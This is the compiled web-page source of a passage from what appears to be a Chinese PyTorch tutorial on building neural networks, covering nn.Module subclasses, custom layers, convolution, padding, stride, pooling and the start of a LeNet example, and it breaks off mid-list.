\u6a21\u578b\u6784\u5efa"}),"\n",(0,d.jsxs)(e.p,{children:["\u4eba\u5de5\u667a\u80fd\u7684\u7b2c\u4e09\u6b21\u6d6a\u6f6e\u53d7\u76ca\u4e8e\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u51fa\u73b0\u548cBP\u53cd\u5411\u4f20\u64ad\u7b97\u6cd5\u7684\u5b9e\u73b0\uff0c\u968f\u7740\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\uff0c\u7814\u7a76\u4eba\u5458\u7814\u7a76\u51fa\u4e86\u8bb8\u8bb8\u591a\u591a\u7684\u6a21\u578b\uff0cPyTorch\u4e2d\u795e\u7ecf\u7f51\u7edc\u6784\u9020\u4e00\u822c\u662f\u57fa\u4e8e",(0,d.jsx)(e.code,{children:"nn.Module"}),"\u7c7b\u7684\u6a21\u578b\u6765\u5b8c\u6210\u7684\uff0c\u5b83\u8ba9\u6a21\u578b\u6784\u9020\uf901\u52a0\u7075\u6d3b\u3002"]}),"\n",(0,d.jsx)(e.p,{children:"\u7ecf\u8fc7\u672c\u8282\u7684\u5b66\u4e60\uff0c\u4f60\u5c06\u6536\u83b7\uff1a"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:"PyTorch\u4e2d\u795e\u7ecf\u7f51\u7edc\u7684\u6784\u9020\u65b9\u6cd5"}),"\n",(0,d.jsx)(e.li,{children:"PyTorch\u4e2d\u7279\u6b8a\u5c42\u7684\u6784\u5efa"}),"\n",(0,d.jsx)(e.li,{children:"LeNet\u7684PyTorch\u5b9e\u73b0"}),"\n"]}),"\n",(0,d.jsx)(e.h2,{id:"341-\u795e\u7ecf\u7f51\u7edc\u7684\u6784\u9020",children:"3.4.1 \u795e\u7ecf\u7f51\u7edc\u7684\u6784\u9020"}),"\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"Module"})," \u7c7b\u662f ",(0,d.jsx)(e.code,{children:"torch.nn"})," \u6a21\u5757\uf9e9\u63d0\u4f9b\u7684\u4e00\u4e2a\u6a21\u578b\u6784\u9020\u7c7b\uff0c\u662f\u6240\u6709\u795e\u7ecf\u7f51\u7edc\u6a21\u5757\u7684\u57fa\u7c7b\uff0c\u6211\u4eec\u53ef\u4ee5\u7ee7\u627f\u5b83\u6765\u5b9a\u4e49\u6211\u4eec\u60f3\u8981\u7684\u6a21\u578b\u3002\u4e0b\u9762\u7ee7\u627f Module \u7c7b\u6784\u9020\u591a\u5c42\u611f\u77e5\u673a\u3002\u8fd9\uf9e9\u5b9a\u4e49\u7684 MLP \u7c7b\u91cd\u8f7d\uf9ba ",(0,d.jsx)(e.code,{children:"Module"})," \u7c7b\u7684 ",(0,d.jsx)(e.code,{children:"__init__"})," \u51fd\u6570\u548c ",(0,d.jsx)(e.code,{children:"forward"})," \u51fd\u6570\u3002\u5b83\u4eec\u5206\u522b\u7528\u4e8e\u521b\u5efa\u6a21\u578b\u53c2\u6570\u548c\u5b9a\u4e49\u524d\u5411\u8ba1\u7b97\uff08\u6b63\u5411\u4f20\u64ad\uff09\u3002\u4e0b\u9762\u7684 MLP \u7c7b\u5b9a\u4e49\u4e86\u4e00\u4e2a\u5177\u6709\u4e24\u4e2a\u9690\u85cf\u5c42\u7684\u591a\u5c42\u611f\u77e5\u673a\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torch import nn\n\nclass MLP(nn.Module):\n # \u58f0\u660e\u5e26\u6709\u6a21\u578b\u53c2\u6570\u7684\u5c42\uff0c\u8fd9\u91cc\u58f0\u660e\u4e86\u4e24\u4e2a\u5168\u8fde\u63a5\u5c42\n def __init__(self, **kwargs):\n # \u8c03\u7528MLP\u7236\u7c7bBlock\u7684\u6784\u9020\u51fd\u6570\u6765\u8fdb\u884c\u5fc5\u8981\u7684\u521d\u59cb\u5316\u3002\u8fd9\u6837\u5728\u6784\u9020\u5b9e\u4f8b\u65f6\u8fd8\u53ef\u4ee5\u6307\u5b9a\u5176\u4ed6\u51fd\u6570\n super(MLP, self).__init__(**kwargs)\n self.hidden = nn.Linear(784, 256)\n self.act = nn.ReLU()\n self.output = nn.Linear(256,10)\n \n # \u5b9a\u4e49\u6a21\u578b\u7684\u524d\u5411\u8ba1\u7b97\uff0c\u5373\u5982\u4f55\u6839\u636e\u8f93\u5165x\u8ba1\u7b97\u8fd4\u56de\u6240\u9700\u8981\u7684\u6a21\u578b\u8f93\u51fa\n def forward(self, x):\n o = self.act(self.hidden(x))\n return self.output(o) \n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u4ee5\u4e0a\u7684 MLP \u7c7b\u4e2d\u2f46\u987b\u5b9a\u4e49\u53cd\u5411\u4f20\u64ad\u51fd\u6570\u3002\u7cfb\u7edf\u5c06\u901a\u8fc7\u2f83\u52a8\u6c42\u68af\u5ea6\u2f7d\u81ea\u52a8\u2f63\u6210\u53cd\u5411\u4f20\u64ad\u6240\u9700\u7684 ",(0,d.jsx)(e.code,{children:"backward"})," \u51fd\u6570\u3002"]}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u5b9e\u4f8b\u5316 ",(0,d.jsx)(e.code,{children:"MLP"})," \u7c7b\u5f97\u5230\u6a21\u578b\u53d8\uf97e ",(0,d.jsx)(e.code,{children:"net"})," \u3002\u4e0b\u2faf\u7684\u4ee3\u7801\u521d\u59cb\u5316 ",(0,d.jsx)(e.code,{children:"net"})," \u5e76\u4f20\u5165\u8f93\u2f0a\u6570\u636e ",(0,d.jsx)(e.code,{children:"X"})," \u505a\u4e00\u6b21\u524d\u5411\u8ba1\u7b97\u3002\u5176\u4e2d\uff0c ",(0,d.jsx)(e.code,{children:"net(X)"})," \u4f1a\u8c03\u7528 ",(0,d.jsx)(e.code,{children:"MLP"})," \u7ee7\u627f\u2f83\u81ea ",(0,d.jsx)(e.code,{children:"Module"})," \u7c7b\u7684 ",(0,d.jsx)(e.code,{children:"__call__"})," \u51fd\u6570\uff0c\u8fd9\u4e2a\u51fd\u6570\u5c06\u8c03\u2f64\u7528 ",(0,d.jsx)(e.code,{children:"MLP"})," \u7c7b\u5b9a\u4e49\u7684",(0,d.jsx)(e.code,{children:"forward"})," \u51fd\u6570\u6765\u5b8c\u6210\u524d\u5411\u8ba1\u7b97\u3002\u56e0\u6b64\u6211\u4eec\u81ea\u5df1\u6784\u9020\u6a21\u578b\u65f6\u9700\u8981\u660e\u786e\u5b9a\u4e49\u6a21\u578b\u7684",(0,d.jsx)(e.code,{children:"forward"}),"\u8fc7\u7a0b"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"X = torch.rand(2,784) # \u8bbe\u7f6e\u4e00\u4e2a\u968f\u673a\u7684\u8f93\u5165\u5f20\u91cf\nnet = MLP() # \u5b9e\u4f8b\u5316\u6a21\u578b\nprint(net) # \u6253\u5370\u6a21\u578b\nnet(X) # \u524d\u5411\u8ba1\u7b97\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"MLP(\n (hidden): Linear(in_features=784, out_features=256, bias=True)\n (act): ReLU()\n (output): Linear(in_features=256, out_features=10, bias=True)\n)\ntensor([[ 0.0149, -0.2641, -0.0040, 0.0945, -0.1277, -0.0092, 0.0343, 0.0627,\n -0.1742, 0.1866],\n [ 0.0738, -0.1409, 0.0790, 0.0597, -0.1572, 0.0479, -0.0519, 0.0211,\n -0.1435, 0.1958]], grad_fn=)\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u6ce8\u610f\uff0c\u8fd9\uf9e9\u5e76\u6ca1\u6709\u5c06 ",(0,d.jsx)(e.code,{children:"Module"})," \u7c7b\u547d\u540d\u4e3a ",(0,d.jsx)(e.code,{children:"Layer"})," (\u5c42)\u6216\u8005 ",(0,d.jsx)(e.code,{children:"Model"})," (\u6a21\u578b)\u4e4b\u7c7b\u7684\u540d\u5b57\uff0c\u8fd9\u662f\u56e0\u4e3a\u8be5\u7c7b\u662f\u4e00\u4e2a\u53ef\u4f9b\u2f83\u7531\u7ec4\u5efa\u7684\u90e8\u4ef6\u3002\u5b83\u7684\u5b50\u7c7b\u65e2\u53ef\u4ee5\u662f\u2f00\u4e2a\u5c42(\u5982PyTorch\u63d0\u4f9b\u7684 Linear \u7c7b)\uff0c\u2f1c\u53ef\u4ee5\u662f\u4e00\u4e2a\u6a21\u578b(\u5982\u8fd9\uf9e9\u5b9a\u4e49\u7684 MLP \u7c7b)\uff0c\u6216\u8005\u662f\u6a21\u578b\u7684\u2f00\u4e2a\u90e8\u5206\u3002"]}),"\n",(0,d.jsx)(e.h2,{id:"342-\u795e\u7ecf\u7f51\u7edc\u4e2d\u5e38\u89c1\u7684\u5c42",children:"3.4.2 \u795e\u7ecf\u7f51\u7edc\u4e2d\u5e38\u89c1\u7684\u5c42"}),"\n",(0,d.jsxs)(e.p,{children:["\u6df1\u5ea6\u5b66\u4e60\u7684\u4e00\u4e2a\u9b45\uf98a\u5728\u4e8e\u795e\u7ecf\u7f51\u7edc\u4e2d\u5404\u5f0f\u5404\u6837\u7684\u5c42\uff0c\u4f8b\u5982\u5168\u8fde\u63a5\u5c42\u3001\u5377\u79ef\u5c42\u3001\u6c60\u5316\u5c42\u4e0e\u5faa\u73af\u5c42\u7b49\u7b49\u3002\u867d\u7136PyTorch\u63d0\u4f9b\u4e86\u2f24\uf97e\u5e38\u7528\u7684\u5c42\uff0c\u4f46\u6709\u65f6\u5019\u6211\u4eec\u4f9d\u7136\u5e0c\u671b\u2f83\u5b9a\u4e49\u5c42\u3002\u8fd9\u91cc\u6211\u4eec\u4f1a\u4ecb\u7ecd\u5982\u4f55\u4f7f\u7528 ",(0,d.jsx)(e.code,{children:"Module"})," \u6765\u81ea\u5b9a\u4e49\u5c42\uff0c\u4ece\u800c\u53ef\u4ee5\u88ab\u53cd\u590d\u8c03\u7528\u3002"]}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"\u4e0d\u542b\u6a21\u578b\u53c2\u6570\u7684\u5c42"})}),"\n"]}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u5148\u4ecb\u7ecd\u5982\u4f55\u5b9a\u4e49\u4e00\u4e2a\uf967\u542b\u6a21\u578b\u53c2\u6570\u7684\u81ea\u5b9a\u4e49\u5c42\u3002\u4e0b\u2faf\u6784\u9020\u7684 ",(0,d.jsx)(e.code,{children:"MyLayer"})," \u7c7b\u901a\u8fc7\u7ee7\u627f ",(0,d.jsx)(e.code,{children:"Module"})," \u7c7b\u81ea\u5b9a\u4e49\uf9ba\u4e00\u4e2a",(0,d.jsx)(e.strong,{children:"\u5c06\u8f93\u5165\u51cf\u6389\u5747\u503c\u540e\u8f93\u51fa"}),"\u7684\u5c42\uff0c\u5e76\u5c06\u5c42\u7684\u8ba1\u7b97\u5b9a\u4e49\u5728\uf9ba forward \u51fd\u6570\uf9e9\u3002\u8fd9\u4e2a\u5c42\uf9e9\uf967\u542b\u6a21\u578b\u53c2\u6570\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torch import nn\n\nclass MyLayer(nn.Module):\n def __init__(self, **kwargs):\n super(MyLayer, self).__init__(**kwargs)\n def forward(self, x):\n return x - x.mean() \n"})}),"\n",(0,d.jsx)(e.p,{children:"\u6d4b\u8bd5\uff0c\u5b9e\u4f8b\u5316\u8be5\u5c42\uff0c\u7136\u540e\u505a\u524d\u5411\u8ba1\u7b97"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"layer = MyLayer()\nlayer(torch.tensor([1, 2, 3, 4, 5], dtype=torch.float))\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([-2., -1., 0., 1., 2.])\n"})}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"\u542b\u6a21\u578b\u53c2\u6570\u7684\u5c42"})}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:"\u6211\u4eec\u8fd8\u53ef\u4ee5\u81ea\u5b9a\u4e49\u542b\u6a21\u578b\u53c2\u6570\u7684\u81ea\u5b9a\u4e49\u5c42\u3002\u5176\u4e2d\u7684\u6a21\u578b\u53c2\u6570\u53ef\u4ee5\u901a\u8fc7\u8bad\u7ec3\u5b66\u51fa\u3002"}),"\n",(0,d.jsxs)(e.p,{children:[(0,d.jsx)(e.code,{children:"Parameter"})," \u7c7b\u5176\u5b9e\u662f ",(0,d.jsx)(e.code,{children:"Tensor"})," \u7684\u5b50\u7c7b\uff0c\u5982\u679c\u4e00\u4e2a ",(0,d.jsx)(e.code,{children:"Tensor"})," \u662f ",(0,d.jsx)(e.code,{children:"Parameter"})," \uff0c\u90a3\u4e48\u5b83\u4f1a\u2f83\u52a8\u88ab\u6dfb\u52a0\u5230\u6a21\u578b\u7684\u53c2\u6570\uf99c\u8868\uf9e9\u3002\u6240\u4ee5\u5728\u2f83\u5b9a\u4e49\u542b\u6a21\u578b\u53c2\u6570\u7684\u5c42\u65f6\uff0c\u6211\u4eec\u5e94\u8be5\u5c06\u53c2\u6570\u5b9a\u4e49\u6210 ",(0,d.jsx)(e.code,{children:"Parameter"})," \uff0c\u9664\u4e86\u76f4\u63a5\u5b9a\u4e49\u6210 ",(0,d.jsx)(e.code,{children:"Parameter"})," \u7c7b\u5916\uff0c\u8fd8\u53ef\u4ee5\u4f7f\u2f64 ",(0,d.jsx)(e.code,{children:"ParameterList"})," \u548c ",(0,d.jsx)(e.code,{children:"ParameterDict"})," \u5206\u522b\u5b9a\u4e49\u53c2\u6570\u7684\uf99c\u8868\u548c\u5b57\u5178\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"class MyListDense(nn.Module):\n def __init__(self):\n super(MyListDense, self).__init__()\n self.params = nn.ParameterList([nn.Parameter(torch.randn(4, 4)) for i in range(3)])\n self.params.append(nn.Parameter(torch.randn(4, 1)))\n\n def forward(self, x):\n for i in range(len(self.params)):\n x = torch.mm(x, self.params[i])\n return x\nnet = MyListDense()\nprint(net)\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"class MyDictDense(nn.Module):\n def __init__(self):\n super(MyDictDense, self).__init__()\n self.params = nn.ParameterDict({\n 'linear1': nn.Parameter(torch.randn(4, 4)),\n 'linear2': nn.Parameter(torch.randn(4, 1))\n })\n self.params.update({'linear3': nn.Parameter(torch.randn(4, 2))}) # \u65b0\u589e\n\n def forward(self, x, choice='linear1'):\n return torch.mm(x, self.params[choice])\n\nnet = MyDictDense()\nprint(net)\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u4e0b\u9762\u7ed9\u51fa\u5e38\u89c1\u7684\u795e\u7ecf\u7f51\u7edc\u7684\u4e00\u4e9b\u5c42\uff0c\u6bd4\u5982\u5377\u79ef\u5c42\u3001\u6c60\u5316\u5c42\uff0c\u4ee5\u53ca\u8f83\u4e3a\u57fa\u7840\u7684AlexNet\uff0cLeNet\u7b49\u3002"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"\u4e8c\u7ef4\u5377\u79ef\u5c42"})}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:"\u4e8c\u7ef4\u5377\u79ef\u5c42\u5c06\u8f93\u5165\u548c\u5377\u79ef\u6838\u505a\u4e92\u76f8\u5173\u8fd0\u7b97\uff0c\u5e76\u52a0\u4e0a\u4e00\u4e2a\u6807\uf97e\u504f\u5dee\u6765\u5f97\u5230\u8f93\u51fa\u3002\u5377\u79ef\u5c42\u7684\u6a21\u578b\u53c2\u6570\u5305\u62ec\uf9ba\u5377\u79ef\u6838\u548c\u6807\uf97e\u504f\u5dee\u3002\u5728\u8bad\u7ec3\u6a21\u578b\u7684\u65f6\u5019\uff0c\u901a\u5e38\u6211\u4eec\u5148\u5bf9\u5377\u79ef\u6838\u968f\u673a\u521d\u59cb\u5316\uff0c\u7136\u540e\uf967\u65ad\u8fed\u4ee3\u5377\u79ef\u6838\u548c\u504f\u5dee\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torch import nn\n\n# \u5377\u79ef\u8fd0\u7b97\uff08\u4e8c\u7ef4\u4e92\u76f8\u5173\uff09\ndef corr2d(X, K): \n h, w = K.shape\n X, K = X.float(), K.float()\n Y = torch.zeros((X.shape[0] - h + 1, X.shape[1] - w + 1))\n for i in range(Y.shape[0]):\n for j in range(Y.shape[1]):\n Y[i, j] = (X[i: i + h, j: j + w] * K).sum()\n return Y\n\n# \u4e8c\u7ef4\u5377\u79ef\u5c42\nclass Conv2D(nn.Module):\n def __init__(self, kernel_size):\n super(Conv2D, self).__init__()\n self.weight = nn.Parameter(torch.randn(kernel_size))\n self.bias = nn.Parameter(torch.randn(1))\n\n def forward(self, x):\n return corr2d(x, self.weight) + self.bias\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5377\u79ef\u7a97\u53e3\u5f62\u72b6\u4e3a $p \\times q$ \u7684\u5377\u79ef\u5c42\u79f0\u4e3a $p \\times q$ \u5377\u79ef\u5c42\u3002\u540c\u6837\uff0c $p \\times q$ \u5377\u79ef\u6216 $p \\times q$ \u5377\u79ef\u6838\u8bf4\u660e\u5377\u79ef\u6838\u7684\u9ad8\u548c\u5bbd\u5206\u522b\u4e3a $p$ \u548c $q$\uff0c\u4e00\u822c\u60c5\u51b5\u4e0b\uff0c$p=q$\u3002"}),"\n",(0,d.jsx)(e.p,{children:"\u586b\u5145(padding)\u662f\u6307\u5728\u8f93\u2f0a\u9ad8\u548c\u5bbd\u7684\u4e24\u4fa7\u586b\u5145\u5143\u7d20(\u901a\u5e38\u662f0\u5143\u7d20)\u3002"}),"\n",(0,d.jsx)(e.p,{children:"\u4e0b\u9762\u7684\uf9b5\u5b50\u91cc\u6211\u4eec\u521b\u5efa\u4e00\u4e2a\u2fbc\u548c\u5bbd\u4e3a3\u7684\u4e8c\u7ef4\u5377\u79ef\u5c42\uff0c\u7136\u540e\u8bbe\u8f93\u2f0a\u9ad8\u548c\u5bbd\u4e24\u4fa7\u7684\u586b\u5145\u6570\u5206\u522b\u4e3a1\u3002\u7ed9\u5b9a\u4e00\u4e2a\u9ad8\u548c\u5bbd\u4e3a8\u7684\u8f93\u5165\uff0c\u6211\u4eec\u53d1\u73b0\u8f93\u51fa\u7684\u9ad8\u548c\u5bbd\u4e5f\u662f8\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torch import nn\n\n# \u5b9a\u4e49\u4e00\u4e2a\u51fd\u6570\u6765\u8ba1\u7b97\u5377\u79ef\u5c42\u3002\u5b83\u5bf9\u8f93\u5165\u548c\u8f93\u51fa\u505a\u76f8\u5e94\u7684\u5347\u7ef4\u548c\u964d\u7ef4\ndef comp_conv2d(conv2d, X):\n # (1, 1)\u4ee3\u8868\u6279\u91cf\u5927\u5c0f\u548c\u901a\u9053\u6570\n X = X.view((1, 1) + X.shape)\n Y = conv2d(X)\n return Y.view(Y.shape[2:]) # \u6392\u9664\u4e0d\u5173\u5fc3\u7684\u524d\u4e24\u7ef4:\u6279\u91cf\u548c\u901a\u9053\n\n\n# \u6ce8\u610f\u8fd9\u91cc\u662f\u4e24\u4fa7\u5206\u522b\u586b\u51451\u2f8f\u6216\u5217\uff0c\u6240\u4ee5\u5728\u4e24\u4fa7\u4e00\u5171\u586b\u51452\u2f8f\u6216\u5217\nconv2d = nn.Conv2d(in_channels=1, out_channels=1, kernel_size=3,padding=1)\n\nX = torch.rand(8, 8)\ncomp_conv2d(conv2d, X).shape\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"torch.Size([8, 8])\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5f53\u5377\u79ef\u6838\u7684\u9ad8\u548c\u5bbd\uf967\u540c\u65f6\uff0c\u6211\u4eec\u4e5f\u53ef\u4ee5\u901a\u8fc7\u8bbe\u7f6e\u9ad8\u548c\u5bbd\u4e0a\uf967\u540c\u7684\u586b\u5145\u6570\u4f7f\u8f93\u51fa\u548c\u8f93\u5165\u5177\u6709\u76f8\u540c\u7684\u9ad8\u548c\u5bbd\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"# \u4f7f\u7528\u9ad8\u4e3a5\u3001\u5bbd\u4e3a3\u7684\u5377\u79ef\u6838\u3002\u5728\u2fbc\u548c\u5bbd\u4e24\u4fa7\u7684\u586b\u5145\u6570\u5206\u522b\u4e3a2\u548c1\nconv2d = nn.Conv2d(in_channels=1, out_channels=1, kernel_size=(5, 3), padding=(2, 1))\ncomp_conv2d(conv2d, X).shape\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"torch.Size([8, 8])\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u5728\u4e8c\u7ef4\u4e92\u76f8\u5173\u8fd0\u7b97\u4e2d\uff0c\u5377\u79ef\u7a97\u53e3\u4ece\u8f93\u5165\u6570\u7ec4\u7684\u6700\u5de6\u4e0a\u65b9\u5f00\u59cb\uff0c\u6309\u4ece\u5de6\u5f80\u53f3\u3001\u4ece\u4e0a\u5f80\u4e0b \u7684\u987a\u5e8f\uff0c\u4f9d\u6b21\u5728\u8f93\u2f0a\u6570\u7ec4\u4e0a\u6ed1\u52a8\u3002\u6211\u4eec\u5c06\u6bcf\u6b21\u6ed1\u52a8\u7684\ufa08\u6570\u548c\uf99c\u6570\u79f0\u4e3a\u6b65\u5e45(stride)\u3002"}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"conv2d = nn.Conv2d(1, 1, kernel_size=(3, 5), padding=(0, 1), stride=(3, 4))\ncomp_conv2d(conv2d, X).shape\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"torch.Size([2, 2])\n"})}),"\n",(0,d.jsx)(e.p,{children:"\u586b\u5145\u53ef\u4ee5\u589e\u52a0\u8f93\u51fa\u7684\u9ad8\u548c\u5bbd\u3002\u8fd9\u5e38\u7528\u6765\u4f7f\u8f93\u51fa\u4e0e\u8f93\u5165\u5177\u6709\u76f8\u540c\u7684\u9ad8\u548c\u5bbd\u3002"}),"\n",(0,d.jsx)(e.p,{children:"\u6b65\u5e45\u53ef\u4ee5\u51cf\u5c0f\u8f93\u51fa\u7684\u9ad8\u548c\u5bbd\uff0c\uf9b5\u5982\u8f93\u51fa\u7684\u9ad8\u548c\u5bbd\u4ec5\u4e3a\u8f93\u5165\u7684\u9ad8\u548c\u5bbd\u7684 ( \u4e3a\u5927\u4e8e1\u7684\u6574\u6570)\u3002"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"\u6c60\u5316\u5c42"})}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:"\u6c60\u5316\u5c42\u6bcf\u6b21\u5bf9\u8f93\u5165\u6570\u636e\u7684\u4e00\u4e2a\u56fa\u5b9a\u5f62\u72b6\u7a97\u53e3(\u2f1c\u79f0\u6c60\u5316\u7a97\u53e3)\u4e2d\u7684\u5143\u7d20\u8ba1\u7b97\u8f93\u51fa\u3002\uf967\u540c\u4e8e\u5377\u79ef\u5c42\uf9e9\u8ba1\u7b97\u8f93\u2f0a\u548c\u6838\u7684\u4e92\u76f8\u5173\u6027\uff0c\u6c60\u5316\u5c42\u76f4\u63a5\u8ba1\u7b97\u6c60\u5316\u7a97\u53e3\u5185\u5143\u7d20\u7684\u5c5e\u6027\uff08\u5747\u503c\u3001\u6700\u5927\u503c\u7b49\uff09\u3002\u5e38\u89c1\u7684\u6c60\u5316\u5305\u62ec\u6700\u5927\u6c60\u5316\u6216\u5e73\u5747\u6c60\u5316\u3002\u5728\u4e8c\u7ef4\u6700\u2f24\u6c60\u5316\u4e2d\uff0c\u6c60\u5316\u7a97\u53e3\u4ece\u8f93\u5165\u6570\u7ec4\u7684\u6700\u5de6\u4e0a\u65b9\u5f00\u59cb\uff0c\u6309\u4ece\u5de6\u5f80\u53f3\u3001\u4ece\u4e0a\u5f80\u4e0b\u7684\u987a\u5e8f\uff0c\u4f9d\u6b21\u5728\u8f93\u2f0a\u6570\u7ec4\u4e0a\u6ed1\u52a8\u3002\u5f53\u6c60\u5316\u7a97\u53e3\u6ed1\u52a8\u5230\u67d0\u2f00\u4f4d\u7f6e\u65f6\uff0c\u7a97\u53e3\u4e2d\u7684\u8f93\u5165\u5b50\u6570\u7ec4\u7684\u6700\u5927\u503c\u5373\u8f93\u51fa\u6570\u7ec4\u4e2d\u76f8\u5e94\u4f4d\u7f6e\u7684\u5143\u7d20\u3002"}),"\n",(0,d.jsxs)(e.p,{children:["\u4e0b\u9762\u628a\u6c60\u5316\u5c42\u7684\u524d\u5411\u8ba1\u7b97\u5b9e\u73b0\u5728",(0,d.jsx)(e.code,{children:"pool2d"}),"\u51fd\u6570\u91cc\u3002"]}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"import torch\nfrom torch import nn\n\ndef pool2d(X, pool_size, mode='max'):\n p_h, p_w = pool_size\n Y = torch.zeros((X.shape[0] - p_h + 1, X.shape[1] - p_w + 1))\n for i in range(Y.shape[0]):\n for j in range(Y.shape[1]):\n if mode == 'max':\n Y[i, j] = X[i: i + p_h, j: j + p_w].max()\n elif mode == 'avg':\n Y[i, j] = X[i: i + p_h, j: j + p_w].mean()\n return Y\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"X = torch.tensor([[0, 1, 2], [3, 4, 5], [6, 7, 8]], dtype=torch.float)\npool2d(X, (2, 2))\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[4., 5.],\n\t[7., 8.]])\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"pool2d(X, (2, 2), 'avg')\n"})}),"\n",(0,d.jsx)(e.pre,{children:(0,d.jsx)(e.code,{className:"language-python",children:"tensor([[2., 3.],\n\t[5., 6.]])\n"})}),"\n",(0,d.jsxs)(e.p,{children:["\u6211\u4eec\u53ef\u4ee5\u4f7f\u7528",(0,d.jsx)(e.code,{children:"torch.nn"}),"\u5305\u6765\u6784\u5efa\u795e\u7ecf\u7f51\u7edc\u3002\u6211\u4eec\u5df2\u7ecf\u4ecb\u7ecd\u4e86",(0,d.jsx)(e.code,{children:"autograd"}),"\u5305\uff0c",(0,d.jsx)(e.code,{children:"nn"}),"\u5305\u5219\u4f9d\u8d56\u4e8e",(0,d.jsx)(e.code,{children:"autograd"}),"\u5305\u6765\u5b9a\u4e49\u6a21\u578b\u5e76\u5bf9\u5b83\u4eec\u6c42\u5bfc\u3002\u4e00\u4e2a",(0,d.jsx)(e.code,{children:"nn.Module"}),"\u5305\u542b\u5404\u4e2a\u5c42\u548c\u4e00\u4e2a",(0,d.jsx)(e.code,{children:"forward(input)"}),"\u65b9\u6cd5\uff0c\u8be5\u65b9\u6cd5\u8fd4\u56de",(0,d.jsx)(e.code,{children:"output"}),"\u3002"]}),"\n",(0,d.jsx)(e.h2,{id:"343-\u6a21\u578b\u793a\u4f8b",children:"3.4.3 \u6a21\u578b\u793a\u4f8b"}),"\n",(0,d.jsxs)(e.ul,{children:["\n",(0,d.jsx)(e.li,{children:(0,d.jsx)(e.strong,{children:"LeNet"})}),"\n"]}),"\n",(0,d.jsx)(e.p,{children:(0,d.jsx)(e.img,{alt:"3.4.1",src:r(75379).A+"",width:"1264",height:"430"})}),"\n",(0,d.jsx)(e.p,{children:"\u8fd9\u662f\u4e00\u4e2a\u7b80\u5355\u7684\u524d\u9988\u795e\u7ecf\u7f51\u7edc (feed-forward network\uff09\uff08LeNet\uff09\u3002\u5b83\u63a5\u53d7\u4e00\u4e2a\u8f93\u5165\uff0c\u7136\u540e\u5c06\u5b83\u9001\u5165\u4e0b\u4e00\u5c42\uff0c\u4e00\u5c42\u63a5\u4e00\u5c42\u7684\u4f20\u9012\uff0c\u6700\u540e\u7ed9\u51fa\u8f93\u51fa\u3002"}),"\n",(0,d.jsx)(e.p,{children:"\u4e00\u4e2a\u795e\u7ecf\u7f51\u7edc\u7684\u5178\u578b\u8bad\u7ec3\u8fc7\u7a0b\u5982\u4e0b\uff1a"}),"\n",(0,d.jsxs)(e.ol,{children:["\n",(0,d.jsx)(e.li,{children:"\u5b9a\u4e49\u5305\u542b\u4e00\u4e9b\u53ef\u5b66\u4e60\u53c2\u6570(\u6216\u8005\u53eb\u6743\u91cd\uff09\u7684\u795e\u7ecf\u7f51\u7edc"}),"\n",(0,d.jsx)(e.li,{children:"\u5728\u8f93\u5165\u6570\u636e\u96c6\u4e0a\u8fed\u4ee3"}),"\n",(0,d.jsx)(e.li,{children:"\u901a\u8fc7\u7f51\u7edc\u5904\u7406\u8f93\u5165"}),"\n",(0,d.jsx)(e.li,{children:"\u8ba1\u7b97 loss 